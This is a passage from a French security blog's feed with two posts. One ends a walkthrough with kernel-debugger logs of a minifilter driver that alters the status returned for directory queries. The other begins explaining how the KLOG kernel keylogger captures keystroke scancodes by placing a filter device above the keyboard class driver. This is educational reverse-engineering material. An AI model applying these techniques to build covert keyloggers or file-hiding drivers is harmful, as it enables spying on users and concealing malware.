fltMgr!FltGetIrpName&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;   Args: 00000268 814db890 00000003 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[  c, 1]   2  1 8150d490 815117a8 00000000-00000000    pending&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;        \FileSystem\FltMgr&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;   Args: 00000268 814db890 00000003 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Nous avons bien un STATUS_SUCCESS dans le IoStatus.status.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;On relance le kd pour breakpoint sur notre driver.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; g&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Breakpoint 1 hit&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;C4lim3r0!ApresDirectoryControl:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;fa161490 8bff            mov     edi,edi&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; p&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;C4lim3r0!ApresDirectoryControl+0x8:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;fa161498 68b01516fa      push    offset C4lim3r0! ?? ::FNODOBFM::`string' (fa1615b0)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; p&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;C4lim3r0!ApresDirectoryControl+0x17:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;fa1614a7 8d4dfc          lea     ecx,[ebp-4]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; p&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;C4lim3r0!ApresDirectoryControl+0x29:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;fa1614b9 8b45f4          mov     eax,dword ptr [ebp-0Ch]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; p&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;C4lim3r0!ApresDirectoryControl+0x41:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;fa1614d1 8b45fc          mov     eax,dword ptr [ebp-4]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;pre&gt;kd&gt; p&lt;br /&gt;FileName : '\Device\HarddiskVolume1\C4lim3r0__.'C4lim3r0!ApresDirectoryControl+0x55:&lt;br /&gt;fa1614e5 8b4d08          mov     ecx,dword ptr [ebp+8]&lt;br /&gt;kd&gt; p&lt;br /&gt;C4lim3r0!ApresDirectoryControl+0x5f:&lt;br /&gt;fa1614ef 8b5508          mov     edx,dword ptr [ebp+8]&lt;br /&gt;kd&gt; p&lt;br /&gt;C4lim3r0!ApresDirectoryControl+0x69:&lt;br /&gt;fa1614f9 33c0            xor     eax,eax&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt; On trace avec F10 pour arriver après la modification du status, on matte la callstack pour retrouver un pointeur sur une structure PFLT_CALLBACK_DATA.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;typedef struct _FLT_CALLBACK_DATA {&lt;br /&gt;FLT_CALLBACK_DATA_FLAGS  Flags;&lt;br /&gt;PETHREAD CONST  Thread;&lt;br /&gt;PFLT_IO_PARAMETER_BLOCK CONST  Iopb;&lt;br /&gt;IO_STATUS_BLOCK  IoStatus;&lt;br /&gt;struct _FLT_TAG_DATA_BUFFER  *TagData;&lt;br /&gt;union {&lt;br /&gt;struct {&lt;br /&gt;LIST_ENTRY  QueueLinks;&lt;br /&gt;PVOID  QueueContext[2];&lt;br /&gt;};&lt;br /&gt;PVOID  FilterContext[4];&lt;br /&gt;};&lt;br /&gt;KPROCESSOR_MODE  RequestorMode;&lt;br /&gt;} FLT_CALLBACK_DATA, *PFLT_CALLBACK_DATA;&lt;br /&gt;&lt;br /&gt;typedef struct _IO_STATUS_BLOCK {&lt;br /&gt;union {&lt;br /&gt;  NTSTATUS Status;&lt;br /&gt;  PVOID Pointer;&lt;br /&gt;};&lt;br /&gt;ULONG_PTR Information;&lt;br /&gt;} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt; Let's go&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;kd&gt; kv&lt;br /&gt;ChildEBP RetAddr  Args to Child       &lt;br /&gt;f7d107d8 f9955ef3 815b95d4 f7d107fc 00000000 C4lim3r0!ApresDirectoryControl+0x41 (FPO: [Non-Fpo]) (CONV: stdcall) [c:\k3rn3l\c4lim3r0.c @ 79]&lt;br /&gt;WARNING: Stack unwind information not available. Following frames may be wrong.&lt;br /&gt;f7d10840 f9958338 005b9578 815ad987 815b9578 fltMgr!FltRequestOperationStatusCallback+0x5bd&lt;br /&gt;f7d10854 f9958867 815b9578 815ad818 f7d10894 fltMgr!FltGetIrpName+0x57a&lt;br /&gt;f7d10864 804e42cc 8150d490 815ad818 815b9578 fltMgr!FltGetIrpName+0xaa9&lt;br /&gt;f7d10894 f989f6bb 00000000 e117ceb8 f7d10ab8 nt!IopfCompleteRequest+0xa2 (FPO: [Non-Fpo])&lt;br /&gt;f7d108a4 f98c8187 f7d10b08 815ad818 00000000 Ntfs+0x6bb&lt;br /&gt;f7d10ab8 f98c70e8 f7d10b08 815ad818 81793100 Ntfs+0x29187&lt;br /&gt;f7d10aec f98c7053 f7d10b08 e117cd20 00000000 Ntfs+0x280e8&lt;br /&gt;f7d10c64 804e3d77 81793020 815ad818 817a3728 Ntfs+0x28053&lt;br /&gt;f7d10cf8 8056a9ab f7d10d64 0148de30 80574dad nt!IopfCallDriver+0x31 (FPO: [0,0,0])&lt;br /&gt;f7d10c7c 804e3d77 81794880 815ad818 815ad818 nt!IopSynchronousServiceTail+0x60 (FPO: [Non-Fpo])&lt;br /&gt;f7d10cf8 8056a9ab f7d10d64 0148de30 80574dad nt!IopfCallDriver+0x31 (FPO: [0,0,0])&lt;br /&gt;f7d10cb0 f995906b f7d10cd0 8150d490 00000000 nt!IopSynchronousServiceTail+0x60 (FPO: [Non-Fpo])&lt;br /&gt;f7d10ce8 804e3d77 8150d490 815ad818 807112d0 fltMgr!FltGetIrpName+0x12ad&lt;br /&gt;f7d10cf8 8056a9ab f7d10d64 0148de30 80574dad nt!IopfCallDriver+0x31 (FPO: [0,0,0])&lt;br /&gt;f7d10d0c 80574e0a 8150d490 815ad818 815117a8 nt!IopSynchronousServiceTail+0x60 (FPO: [Non-Fpo])&lt;br /&gt;f7d10d30 804df06b 00000230 00000000 00000000 nt!NtQueryDirectoryFile+0x5d (FPO: [Non-Fpo])&lt;br /&gt;f7d10d30 7c91eb94 00000230 00000000 00000000 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ f7d10d64)&lt;br /&gt;0148e108 7c9f8afd 0148e3b0 00000000 023e5cb4 0x7c91eb94&lt;br /&gt;0148e12c 7c9f8a97 0148e3b0 023e5cb4 023e5aa4 0x7c9f8afd&lt;br /&gt;&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt; Nous avons notre pointeur nous allons afficher afficher la mémoire avec la commande dd.&lt;/p&gt; &lt;pre&gt;&lt;br /&gt;kd&gt; dd 815b95d4&lt;br /&gt;815b95d4  00080001 81593020 815b9644 c0000055&lt;br /&gt;815b95e4  00000000 00000000 00000000 00000000&lt;br /&gt;815b95f4  00000000 00000000 00000001 00000800&lt;br /&gt;815b9604  0002010c 815117a8 8158fe78 00000268&lt;br /&gt;815b9614  814db890 00000003 00000000 0148de9c&lt;br /&gt;815b9624  00000000 00000000 815b9578 8158ffbc&lt;br /&gt;815b9634  815b9944 8151fea4 815b9940 00000000&lt;br /&gt;815b9644  00000800 0002010c 815117a8 8158fe78&lt;br /&gt;kd&gt; bc 0&lt;br /&gt;kd&gt; bc 1&lt;br /&gt;kd&gt; bl&lt;br /&gt;&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt; Compte tenu du prototype de la fonction nous pouvons constater que notre IoStatus.status est a présent « c0000055 » il a bien été modifié.&lt;/p&gt;&lt;br /&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R-T1EM3ybRI/AAAAAAAAAGk/5SX_3qhL-bs/s1600-h/C4lim3r0_Locked.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R-T1EM3ybRI/AAAAAAAAAGk/5SX_3qhL-bs/s400/C4lim3r0_Locked.png" alt="" id="BLOGGER_PHOTO_ID_5180534923906411794" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;Enfin bon voilà !&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;C'est finis pour aujourd'hui en espérant que les logs du kd vous permettrons de faire des petites recherches c'est plutot sympathique je trouve.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Voici les liens pour les sources du minifilter :  &lt;/p&gt;  &lt;p style="margin-bottom: 0cm;"&gt;-&lt;a href="http://overclok.free.fr/Codes/C4lim3r0/C4lim3r0.inf.txt"&gt;C4lim3r0's inf file&lt;/a&gt;.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;-&lt;a href="http://overclok.free.fr/Codes/C4lim3r0/C4lim3r0.htm"&gt;C4lim3r0.c.&lt;/a&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Voilà bonne après midi à vous, cya.&lt;/p&gt;&lt;br /&gt;&lt;p style="margin-bottom: 0cm;"&gt;PS: Je viens d'ajouter le site de la communauté &lt;a href="http://www.spiritofhack.net/index.php"&gt;Spirit Of Hack&lt;/a&gt; (SOH) dans la blogrollz, n'hésiter pas a faire un tour :).&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;PS2: Voici l'arrivée du &lt;a href="http://venom630.free.fr/geo/"&gt;repository de Geo&lt;/a&gt; dans la blogrollz.&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;En tous les cas merci à vous et bonne continuation.&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-2440652651582250014?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/2440652651582250014/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=2440652651582250014' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/2440652651582250014'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/2440652651582250014'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/03/c4lim3r0.html' title='C4lim3r0.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kuo-yDTqvqc/R-T1hs3ybSI/AAAAAAAAAGs/Ngx_JnwIhFA/s72-c/minifilter.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-5974222494225519991</id><published>2008-03-07T13:34:00.000-08:00</published><updated>2008-12-09T22:04:01.574-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='device'/><category scheme='http://www.blogger.com/atom/ns#' term='routine completion'/><category scheme='http://www.blogger.com/atom/ns#' term='ring0'/><category scheme='http://www.blogger.com/atom/ns#' term='Completion routine'/><category scheme='http://www.blogger.com/atom/ns#' term='r0'/><category scheme='http://www.blogger.com/atom/ns#' term='driver keyboard'/><category scheme='http://www.blogger.com/atom/ns#' term='scancode'/><category scheme='http://www.blogger.com/atom/ns#' term='keyboard driver'/><category scheme='http://www.blogger.com/atom/ns#' term='KLOG'/><category scheme='http://www.blogger.com/atom/ns#' term='driver'/><category scheme='http://www.blogger.com/atom/ns#' term='IRP_MJ_READ'/><category scheme='http://www.blogger.com/atom/ns#' term='control keyboard'/><title type='text'>Sur les traces du KLOG.</title><content type='html'>Bonjour à vous,&lt;br /&gt;Je vous propose aujourd’hui ma petite contribution régulière.&lt;br /&gt;Celle-ci traitera du principe du KLOG, un keylogger kernel programmé par Clandestiny.&lt;br /&gt;&lt;br /&gt;Dans cet article, nous allons parler un peu du « comment le KLOG opère t-il ? » afin de nous coder un petit driver perso pour mettre en pratique les choses que l’on vient d’apprendre.&lt;br /&gt;&lt;br /&gt;Je vous propose quelques outils pouvant être utile au cours du coding et de l’analyse du KLOG :&lt;br /&gt;- DeviceTree, peut être utile pour observer les devices créer par les drivers par exemple.&lt;br /&gt;- IrpTracker, un outil permettant de « tracker » les IRPs reçus par un device.&lt;br /&gt;&lt;br /&gt;Les outils en main, nous pouvons nous attaquer au fonctionnement de l’engin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Le KLOG dans la place &lt;o&gt;&lt;/o&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Vous êtes maintenant préparer à suivre la suite de l’article.&lt;br /&gt;Pour mener à bien son fonctionnement le KLOG va attacher un filter device ( FiDO ) au dessus du device KeyboardClass0 créer par le driver Kbdclass. Le driver KbdClass à pour rôle de fournir une interface entre le sytème et le driver physique :&lt;br /&gt;&lt;br /&gt;( Je cite )&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The HID class driver does the following:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Provides and manages the upper-level interface that kernel-mode drivers and user-mode applications use to access the HID collections that an input device supports.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The HID class driver transparently manages and routes all communication between upper-level drivers and applications and the underlying input devices that support HID collections. It manages the different data protocols used by different input devices and input queues that support more than one open file on the same HID collection. (!!)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The upper-level interface to HID collections consists of the HID class driver IOCTLs, the HIDClass support routines, and the HIDClass structures.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Communicates with a HID minidriver by calling the minidriver's standard driver routines — see Communicating with a HID Minidriver.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Creates a functional device object (FDO) for HIDClass input devices enumerated by a lower-level bus or port driver.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;For example, the HID class driver creates and manages the operations of an FDO that represents a USB HID device enumerated by the system-supplied USB driver stack.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Provides the functionality of a bus driver for the child devices (HID collections) supported by an underlying input device.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The HID class driver creates a physical device object (PDO) for each HID collection supported by an input device and manges the collection's operation.&lt;/span&gt;&lt;br /&gt;(juste pour informations)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Il faut aussi savoir que le device KeyboardClass0 est attaché au device anonyme du driver i8042prt. Le driver i8042prt est de type PDO (Pysical Device Object), il gère la gestion de la souris et du clavier. Le HID driver va crée un FDO (Functional Device Object) au dessus du PDO pour fournir une interface entre le sytème et le périphérique.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R9G2ZsamLrI/AAAAAAAAAGU/DFY1V6N1lZ4/s1600-h/Drivers_Devices.png"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R9G2ZsamLrI/AAAAAAAAAGU/DFY1V6N1lZ4/s400/Drivers_Devices.png" alt="" id="BLOGGER_PHOTO_ID_5175117999361109682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Le KeyboardClass1 est un clavier virtuel, il ne nous intéresse pas du tout.&lt;br /&gt;Vu que tout le concept repose sur la device stack du driver, nous allons nous renseigner un peu plus sur celle-ci, sortons donc le kd.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;kd&gt; !devstack \device\keyboardclass0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;!DevObj   !DrvObj            !DevExt   ObjectName&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&gt; 816f53a0  \Driver\Kbdclass   816f5458  KeyboardClass0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;816f5588  \Driver\i8042prt   816f5640&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;817d2618  \Driver\ACPI       817da2e8  00000043&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;!DevNode 81799948 :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;DeviceInst is "ACPI\PNP0303\4&amp;amp;5289e18&amp;amp;0"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ServiceName is "i8042prt"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;kd&gt; !drvobj \Driver\Kbdclass 3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Driver object (816f5930) is for:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;\Driver\Kbdclass&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Driver Extension List: (id , addr)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Device Object list:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;816d5030  816f53a0  q&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;DriverEntry:   f9d0f610&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;DriverStartIo: 00000000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;DriverUnload:  00000000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;AddDevice:     f9d0eb02&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Dispatch routines:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[00] IRP_MJ_CREATE                      f9d0bdd8    +0xf9d0bdd8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[01] IRP_MJ_CREATE_NAMED_PIPE           805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[02] IRP_MJ_CLOSE                       f9d0bfe8    +0xf9d0bfe8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[03] IRP_MJ_READ                        f9d0cc82    +0xf9d0cc82&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[04] IRP_MJ_WRITE                       805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[05] IRP_MJ_QUERY_INFORMATION           805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[06] IRP_MJ_SET_INFORMATION             805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[07] IRP_MJ_QUERY_EA                    805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[08] IRP_MJ_SET_EA                      805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[09] IRP_MJ_FLUSH_BUFFERS               f9d0bd50    +0xf9d0bd50&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[0b] IRP_MJ_SET_VOLUME_INFORMATION      805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[0c] IRP_MJ_DIRECTORY_CONTROL           805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[0d] IRP_MJ_FILE_SYSTEM_CONTROL         805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[0e] IRP_MJ_DEVICE_CONTROL              f9d0da44    +0xf9d0da44&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     f9d0d386    +0xf9d0d386&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[10] IRP_MJ_SHUTDOWN                    805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[11] IRP_MJ_LOCK_CONTROL                805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[12] IRP_MJ_CLEANUP                     f9d0bd0c    +0xf9d0bd0c&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[13] IRP_MJ_CREATE_MAILSLOT             805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[14] IRP_MJ_QUERY_SECURITY              805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[15] IRP_MJ_SET_SECURITY                805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[16] IRP_MJ_POWER                       f9d0e196    +0xf9d0e196&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[17] IRP_MJ_SYSTEM_CONTROL              f9d0d844    +0xf9d0d844&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[18] IRP_MJ_DEVICE_CHANGE               805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[19] IRP_MJ_QUERY_QUOTA                 805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[1a] IRP_MJ_SET_QUOTA                   805025e4    nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[1b] IRP_MJ_PNP                         f9d0c798    +0xf9d0c798&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;kd&gt; !devobj 0x816d5030&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Device object (816d5030) is for:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;KeyboardClass1 \Driver\Kbdclass DriverObject 816f5930&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Current Irp 00000000 RefCount 0 Type 0000000b Flags 00002044&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Dacl e129e634 DevExt 816d50e8 DevObjExt 816d51c8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ExtensionFlags (0000000000)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;AttachedTo (Lower) 816d41e0 \Driver\TermDD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Device queue is not busy.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;kd&gt; !devobj 0x816f53a0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Device object (816f53a0) is for:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;KeyboardClass0 \Driver\Kbdclass DriverObject 816f5930&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Current Irp 00000000 RefCount 0 Type 0000000b Flags 00002044&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Dacl e129e634 DevExt 816f5458 DevObjExt 816f5538&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ExtensionFlags (0000000000)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;AttachedTo (Lower) 816f5588 \Driver\i8042prt&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Device queue is not busy.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nous avons donc nos renseignements sur la device stack, ces infos sont bien sur aussi visibles grâce au programme DeviceTree. Notre device placé au dessus du KeyboardClass0, va donc recevoir les IRPs avant lui.&lt;br /&gt;C’est ici que tout se joue !&lt;br /&gt;&lt;br /&gt;Nous allons mettre en place une « Completion Routine » qui sera appelé au retour de l’IRP, c’est-à-dire quand elle contiendra les informations ( les scancodes des touches ) délivré par le driver, le retour de l’IRP est provoqué par l’appel de la fonction IoCompleteRequest dans le driver KbdClass. Cette Completion routine va permettre de lire les IRPs et donc de récupérer les scancodes des touches.&lt;br /&gt;&lt;br /&gt;Cependant les personnes qui ont déjà étudiés le KLOG, savent que la tache de les écrire n’est pas si facile. En effet la fonction permettant l’écriture dans le fichier tourne à un IRQL différent, comprenez que écriture dans un fichier demande au système d’être dans un état non-interrompu. Bref pour nous on s’arrête là afin de coder un petit truc personnalisé.Mais Clandestiny gère ce problème en créant un thread kernel tournant à l’IRQL nécessaire.&lt;br /&gt;&lt;br /&gt;Je vous propose quelques schémas, les 2 premiers venus tout droit de mon imagination, et le dernier extrait du pdf fournis dans l’archive du KLOG :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 